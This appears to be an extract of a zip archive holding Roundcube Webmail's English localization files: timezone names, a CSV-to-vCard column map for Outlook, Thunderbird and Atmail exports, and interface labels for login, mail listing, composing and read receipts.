$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarctica';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arctic';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Baghdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damascus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seoul';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Singapore';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Tehran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantic';
$labels['tz:atlantic:azores'] = 'Azores';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Canary';
$labels['tz:atlantic:cape_verde'] = 'Cape Verde';
$labels['tz:atlantic:faroe'] = 'Faroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'South Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australia';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europe';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Athens';
$labels['tz:europe:belgrade'] = 'Belgrade';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brussels';
$labels['tz:europe:bucharest'] = 'Bucharest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Copenhagen';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isle of Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisbon';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'London';
$labels['tz:europe:luxembourg'] = 'Luxembourg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moscow';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prague';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rome';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirane';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatican';
$labels['tz:europe:vienna'] = 'Vienna';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Warsaw';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zurich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldives';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Pacific';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Easter';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\��3-��(program/localization/en_US/csv2vcard.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
*/

// This is a list of CSV column names specified in CSV file header
// These must be original texts used in Outlook/Thunderbird exported csv files
// Encoding UTF-8

$map = [];

// MS Outlook 2010
$map['anniversary'] = "Anniversary";
$map['assistants_name'] = "Assistant's Name";
$map['assistants_phone'] = "Assistant's Phone";
$map['birthday'] = "Birthday";
$map['business_city'] = "Business City";
$map['business_countryregion'] = "Business Country/Region";
$map['business_fax'] = "Business Fax";
$map['business_phone'] = "Business Phone";
$map['business_phone_2'] = "Business Phone 2";
$map['business_postal_code'] = "Business Postal Code";
$map['business_state'] = "Business State";
$map['business_street'] = "Business Street";
$map['car_phone'] = "Car Phone";
$map['categories'] = "Categories";
$map['company'] = "Company";
$map['department'] = "Department";
$map['email_address'] = "E-mail Address";
$map['email_2_address'] = "E-mail 2 Address";
$map['email_3_address'] = "E-mail 3 Address";
$map['first_name'] = "First Name";
$map['gender'] = "Gender";
$map['home_city'] = "Home City";
$map['home_countryregion'] = "Home Country/Region";
$map['home_fax'] = "Home Fax";
$map['home_phone'] = "Home Phone";
$map['home_phone_2'] = "Home Phone 2";
$map['home_postal_code'] = "Home Postal Code";
$map['home_state'] = "Home State";
$map['home_street'] = "Home Street";
$map['job_title'] = "Job Title";
$map['last_name'] = "Last Name";
$map['managers_name'] = "Manager's Name";
$map['middle_name'] = "Middle Name";
$map['mobile_phone'] = "Mobile Phone";
$map['notes'] = "Notes";
$map['other_city'] = "Other City";
$map['other_countryregion'] = "Other Country/Region";
$map['other_fax'] = "Other Fax";
$map['other_phone'] = "Other Phone";
$map['other_postal_code'] = "Other Postal Code";
$map['other_state'] = "Other State";
$map['other_street'] = "Other Street";
$map['pager'] = "Pager";
$map['primary_phone'] = "Primary Phone";
$map['spouse'] = "Spouse";
$map['suffix'] = "Suffix";
$map['title'] = "Title";
$map['web_page'] = "Web Page";

// Thunderbird
$map['birth_day'] = "Birth Day";
$map['birth_month'] = "Birth Month";
$map['birth_year'] = "Birth Year";
$map['display_name'] = "Display Name";
$map['fax_number'] = "Fax Number";
$map['home_address'] = "Home Address";
$map['home_country'] = "Home Country";
$map['home_zipcode'] = "Home ZipCode";
$map['mobile_number'] = "Mobile Number";
$map['nickname'] = "Nickname";
$map['organization'] = "Organization";
$map['pager_number'] = "Pager Number";
$map['primary_email'] = "Primary Email";
$map['secondary_email'] = "Secondary Email";
$map['web_page_1'] = "Web Page 1";
$map['web_page_2'] = "Web Page 2";
$map['work_phone'] = "Work Phone";
$map['work_address'] = "Work Address";
$map['work_country'] = "Work Country";
$map['work_zipcode'] = "Work ZipCode";

// Atmail
$map['date_of_birth'] = "Date of Birth";
$map['email'] = "Email";
$map['home_mobile'] = "Home Mobile";
$map['home_zip'] = "Home Zip";
$map['info'] = "Info";
$map['user_photo'] = "User Photo";
$map['url'] = "URL";
$map['work_city'] = "Work City";
$map['work_company'] = "Work Company";
$map['work_dept'] = "Work Dept";
$map['work_fax'] = "Work Fax";
$map['work_mobile'] = "Work Mobile";
$map['work_state'] = "Work State";
$map['work_title'] = "Work Title";
$map['work_zip'] = "Work Zip";
PK
h�\wq�\w~w~%program/localization/en_US/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/

$labels = [];

// login page
$labels['welcome'] = 'Welcome to $product';
$labels['username'] = 'Username';
$labels['password'] = 'Password';
$labels['server'] = 'Server';
$labels['login'] = 'Login';
$labels['oauthlogin'] = 'Login with $provider';

// taskbar
$labels['menu'] = 'Menu';
$labels['logout'] = 'Logout';
$labels['mail'] = 'Mail';
$labels['settings'] = 'Settings';
$labels['addressbook'] = 'Address Book';
$labels['darkmode'] = 'Dark mode';
$labels['lightmode'] = 'Light mode';

// mailbox names
$labels['inbox'] = 'Inbox';
$labels['drafts'] = 'Drafts';
$labels['sent'] = 'Sent';
$labels['trash'] = 'Trash';
$labels['junk'] = 'Junk';
$labels['show_real_foldernames'] = 'Show real names for special folders';

// message listing
$labels['subject'] = 'Subject';
$labels['from'] = 'From';
$labels['sender'] = 'Sender';
$labels['to'] = 'To';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Reply-To';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Date';
$labels['size'] = 'Size';
$labels['priority'] = 'Priority';
$labels['organization'] = 'Organization';
$labels['readstatus'] = 'Read status';
$labels['listoptions'] = 'List options...';
$labels['listoptionstitle'] = 'List options';

$labels['mailboxlist'] = 'Folders';
$labels['messagesfromto'] = 'Messages $from to $to of $count';
$labels['threadsfromto'] = 'Threads $from to $to of $count';
$labels['messagenrof'] = 'Message $nr of $count';
$labels['fromtoshort'] = '$from – $to of $count';

$labels['copy'] = 'Copy';
$labels['move'] = 'Move';
$labels['moveto'] = 'Move to...';
$labels['copyto'] = 'Copy to...';
$labels['download'] = 'Download';
$labels['open'] = 'Open';
$labels['showattachment'] = 'Show';
$labels['showanyway'] = 'Show it anyway';

$labels['filename'] = 'File name';
$labels['filesize'] = 'File size';

$labels['addtoaddressbook'] = 'Add to address book';

// weekdays short
$labels['sun'] = 'Sun';
$labels['mon'] = 'Mon';
$labels['tue'] = 'Tue';
$labels['wed'] = 'Wed';
$labels['thu'] = 'Thu';
$labels['fri'] = 'Fri';
$labels['sat'] = 'Sat';

// weekdays long
$labels['sunday'] = 'Sunday';
$labels['monday'] = 'Monday';
$labels['tuesday'] = 'Tuesday';
$labels['wednesday'] = 'Wednesday';
$labels['thursday'] = 'Thursday';
$labels['friday'] = 'Friday';
$labels['saturday'] = 'Saturday';

// months short
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'May';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Oct';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dec';

// months long
$labels['longjan'] = 'January';
$labels['longfeb'] = 'February';
$labels['longmar'] = 'March';
$labels['longapr'] = 'April';
$labels['longmay'] = 'May';
$labels['longjun'] = 'June';
$labels['longjul'] = 'July';
$labels['longaug'] = 'August';
$labels['longsep'] = 'September';
$labels['longoct'] = 'October';
$labels['longnov'] = 'November';
$labels['longdec'] = 'December';

$labels['today'] = 'Today';

// toolbar buttons
$labels['refresh'] = 'Refresh';
$labels['checkmail'] = 'Check for new messages';
$labels['compose'] = 'Compose';
$labels['writenewmessage'] = 'Create a new message';
$labels['reply'] = 'Reply';
$labels['replytomessage'] = 'Reply to sender';
$labels['replytoallmessage'] = 'Reply to list or to sender and all recipients';
$labels['replyall'] = 'Reply all';
$labels['replylist'] = 'Reply list';
$labels['forward'] = 'Forward';
$labels['forwardinline'] = 'Forward inline';
$labels['forwardattachment'] = 'Forward as attachment';
$labels['forwardmessage'] = 'Forward the message';
$labels['bouncemsg'] = 'Resend (bounce)';
$labels['bounce'] = 'Resend';
$labels['deletemessage'] = 'Delete message';
$labels['movemessagetotrash'] = 'Move message to trash';
$labels['printmessage'] = 'Print this message';
$labels['previousmessage'] = 'Show previous message';
$labels['firstmessage'] = 'Show first message';
$labels['nextmessage'] = 'Show next message';
$labels['lastmessage'] = 'Show last message';
$labels['backtolist'] = 'Back to message list';
$labels['viewsource'] = 'Show source';
$labels['mark'] = 'Mark';
$labels['markmessages'] = 'Mark messages';
$labels['markread'] = 'As read';
$labels['markunread'] = 'As unread';
$labels['markflagged'] = 'As flagged';
$labels['markunflagged'] = 'As unflagged';
$labels['markundeleted'] = 'As not deleted';
$labels['moreactions'] = 'More actions...';
$labels['markallread'] = 'Mark all as read';
$labels['folders-cur'] = 'Selected folder only';
$labels['folders-sub'] = 'Selected folder and its subfolders';
$labels['folders-all'] = 'All folders';
$labels['more'] = 'More';
$labels['back'] = 'Back';
$labels['options'] = 'Options';
$labels['composeoptions'] = 'Compose options';
$labels['optionsandattachments'] = 'Options and attachments';
$labels['actions'] = 'Actions';

$labels['first'] = 'First';
$labels['last'] = 'Last';
$labels['previous'] = 'Previous';
$labels['next'] = 'Next';
$labels['select'] = 'Select';
$labels['selection'] = 'Selection';
$labels['all'] = 'All';
$labels['none'] = 'None';
$labels['currpage'] = 'Current page';
$labels['isread'] = 'Read';
$labels['unread'] = 'Unread';
$labels['flagged'] = 'Flagged';
$labels['unflagged'] = 'Not Flagged';
$labels['unanswered'] = 'Unanswered';
$labels['withattachment'] = 'With attachment';
$labels['deleted'] = 'Deleted';
$labels['undeleted'] = 'Not deleted';
$labels['replied'] = 'Replied';
$labels['forwarded'] = 'Forwarded';
$labels['invert'] = 'Invert';
$labels['filter'] = 'Filter';
$labels['list'] = 'List';
$labels['threads'] = 'Threads';
$labels['expand-all'] = 'Expand All';
$labels['expand-unread'] = 'Expand Unread';
$labels['collapse-all'] = 'Collapse All';
$labels['threaded'] = 'Threaded';
$labels['showunread'] = 'Show unread messages';

$labels['autoexpand_threads'] = 'Expand message threads';
$labels['do_expand'] = 'all threads';
$labels['expand_only_unread'] = 'only with unread messages';
$labels['fromto'] = 'From/To';
$labels['flag'] = 'Flag';
$labels['attachment'] = 'Attachment';
$labels['nonesort'] = 'None';
$labels['sentdate'] = 'Sent date';
$labels['arrival'] = 'Arrival date';
$labels['asc'] = 'ascending';
$labels['desc'] = 'descending';
$labels['listcolumns'] = 'List columns';
$labels['listsorting'] = 'Sorting column';
$labels['listorder'] = 'Sorting order';
$labels['listmode'] = 'List view mode';
$labels['lmode'] = 'List mode';
$labels['layout'] = 'Layout';
$labels['layoutwidescreen'] = 'Widescreen';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'List';
$labels['layoutwidescreendesc'] = 'Widescreen (3-column view)';
$labels['layoutdesktopdesc'] = 'Desktop (wide list and mail preview below)';
$labels['layoutlistdesc'] = 'List (no mail preview)';

$labels['folderactions'] = 'Folder actions...';
$labels['compact'] = 'Compact';
$labels['empty'] = 'Empty';
$labels['importmessages'] = 'Import messages';
$labels['mailimportdesc'] = 'You can upload mail using files in <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> or <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> format.';
$labels['mailimportzip'] = 'Multiple files can be compressed into zip archives.';

$labels['quota'] = 'Disk usage';
$labels['unknown'] = 'unknown';
$labels['unlimited'] = 'unlimited';
$labels['quotatype'] = 'Quota type';
$labels['quotatotal'] = 'Limit';
$labels['quotaused'] = 'Used';
$labels['quotastorage'] = 'Disk space';
$labels['quotamessage'] = 'Messages count';
$labels['shortheaderdate'] = 'On $date';
$labels['shortheaderto'] = 'To $to on $date';
$labels['shortheaderfrom'] = 'From $from on $date';

$labels['quicksearch'] = 'Quick search';
$labels['searchplaceholder'] = 'Search...';
$labels['resetsearch'] = 'Reset search';
$labels['searchmod'] = 'Search modifiers';
$labels['msgtext'] = 'Entire message';
$labels['body'] = 'Body';
$labels['type'] = 'Type';
$labels['namex'] = 'Name';
$labels['searchscope'] = 'Scope';
$labels['currentfolder'] = 'Current folder';
$labels['subfolders'] = 'This and subfolders';
$labels['allfolders'] = 'All folders';
$labels['searchinterval-1W'] = 'older than a week';
$labels['searchinterval-1M'] = 'older than a month';
$labels['searchinterval-1Y'] = 'older than a year';
$labels['searchinterval1W'] = 'younger than a week';
$labels['searchinterval1M'] = 'younger than a month';
$labels['searchinterval1Y'] = 'younger than a year';

$labels['openinextwin'] = 'Open in new window';
$labels['emlsave'] = 'Download (.eml)';
$labels['changeformattext'] = 'Display in plain text format';
$labels['changeformathtml'] = 'Display in HTML format';

// message compose
$labels['editasnew'] = 'Edit as new';
$labels['send'] = 'Send';
$labels['sendmessage'] = 'Send message';
$labels['savemessage'] = 'Save as draft';
$labels['addattachment'] = 'Attach a file';
$labels['charset'] = 'Charset';
$labels['editortype'] = 'Editor type';
$labels['returnreceipt'] = 'Return receipt';
$labels['dsn'] = 'Delivery status notification';
$labels['keepformatting'] = 'Keep formatting';
$labels['mailreplyintro'] = 'On $date, $sender wrote:';
$labels['originalmessage'] = 'Original Message';
$labels['selectimage'] = 'Select image';
$labels['addimage'] = 'Add image';
$labels['selectmedia'] = 'Select movie';
$labels['addmedia'] = 'Add movie';
$labels['encrypt'] = 'Encrypt';
$labels['encryptmessage'] = 'Encrypt message';
$labels['encryptmessagemailvelope'] = 'Encrypt message with Mailvelope';
$labels['importpubkeys'] = 'Import public keys';
$labels['encryptedsendialog'] = 'Sending encrypted message';
$labels['encryptandsign'] = 'Encrypt and sign';
$labels['keyid'] = 'Key ID';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Expired';
$labels['keyrevoked'] = 'Revoked';
$labels['bccinstead'] = 'Use Bcc';
$labels['addheader'] = 'Add recipient (header)';
$labels['insert'] = 'Insert';
$labels['insertcontact'] = 'Insert contact(s)';
$labels['recipient'] = 'Recipient';
$labels['recipientedit'] = 'Recipient edit';

$labels['editidents'] = 'Edit identities';
$labels['spellcheck'] = 'Spell';
$labels['checkspelling'] = 'Check spelling';
$labels['resumeediting'] = 'Resume editing';
$labels['revertto'] = 'Revert to';

$labels['restore'] = 'Restore';
$labels['restoremessage'] = 'Restore message?';
$labels['ignore'] = 'Ignore';

$labels['responses'] = 'Responses';
$labels['insertresponse'] = 'Insert a response';
$labels['manageresponses'] = 'Manage responses';
$labels['newresponse'] = 'Create new response';
$labels['addresponse'] = 'Add response';
$labels['editresponse'] = 'Edit response';
$labels['editresponses'] = 'Edit responses';
$labels['responsename'] = 'Name';
$labels['responsetext'] = 'Response Text';

$labels['attach'] = 'Attach';
$labels['attachments'] = 'Attachments';
$labels['upload'] = 'Upload';
$labels['uploadprogress'] = '$percent ($current of $total)';
$labels['close'] = 'Close';
$labels['messageoptions'] = 'Message options...';
$labels['togglecomposeoptions'] = 'Toggle composition options';
$labels['attachmentrename'] = 'Rename attachment';

$labels['low'] = 'Low';
$labels['lowest'] = 'Lowest';
$labels['normal'] = 'Normal';
$labels['high'] = 'High';
$labels['highest'] = 'Highest';

$labels['nosubject'] = '(no subject)';
$labels['showimages'] = 'Display images';
$labels['allow'] = 'Allow';
$labels['alwaysshow'] = 'Always show images from $sender';
$labels['alwaysallow'] = 'Always allow from $sender';
$labels['isdraft'] = 'This is a draft message.';
$labels['andnmore'] = '$nr more...';
$labels['details'] = 'Details';
$labels['summary'] = 'Summary';
$labels['headers'] = 'Headers';
$labels['allheaders'] = 'All headers...';
$labels['togglemoreheaders'] = 'Show more message headers';
$labels['togglefullheaders'] = 'Toggle raw message headers';

$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Plain text';
$labels['savesentmessagein'] = 'Save sent message in';
$labels['dontsave'] = 'don\'t save';
$labels['maxuploadsize'] = 'Maximum allowed file size is $size';

$labels['addcc'] = 'Add Cc';
$labels['addbcc'] = 'Add Bcc';
$labels['addreplyto'] = 'Add Reply-To';
$labels['addfollowupto'] = 'Add Followup-To';

// mdn
$labels['sendreceipt'] = 'Send read receipt?';
$labels['mdnrequest'] = 'The sender of this message has asked to be notified when you read this message. Do you wish to notify the sender?';
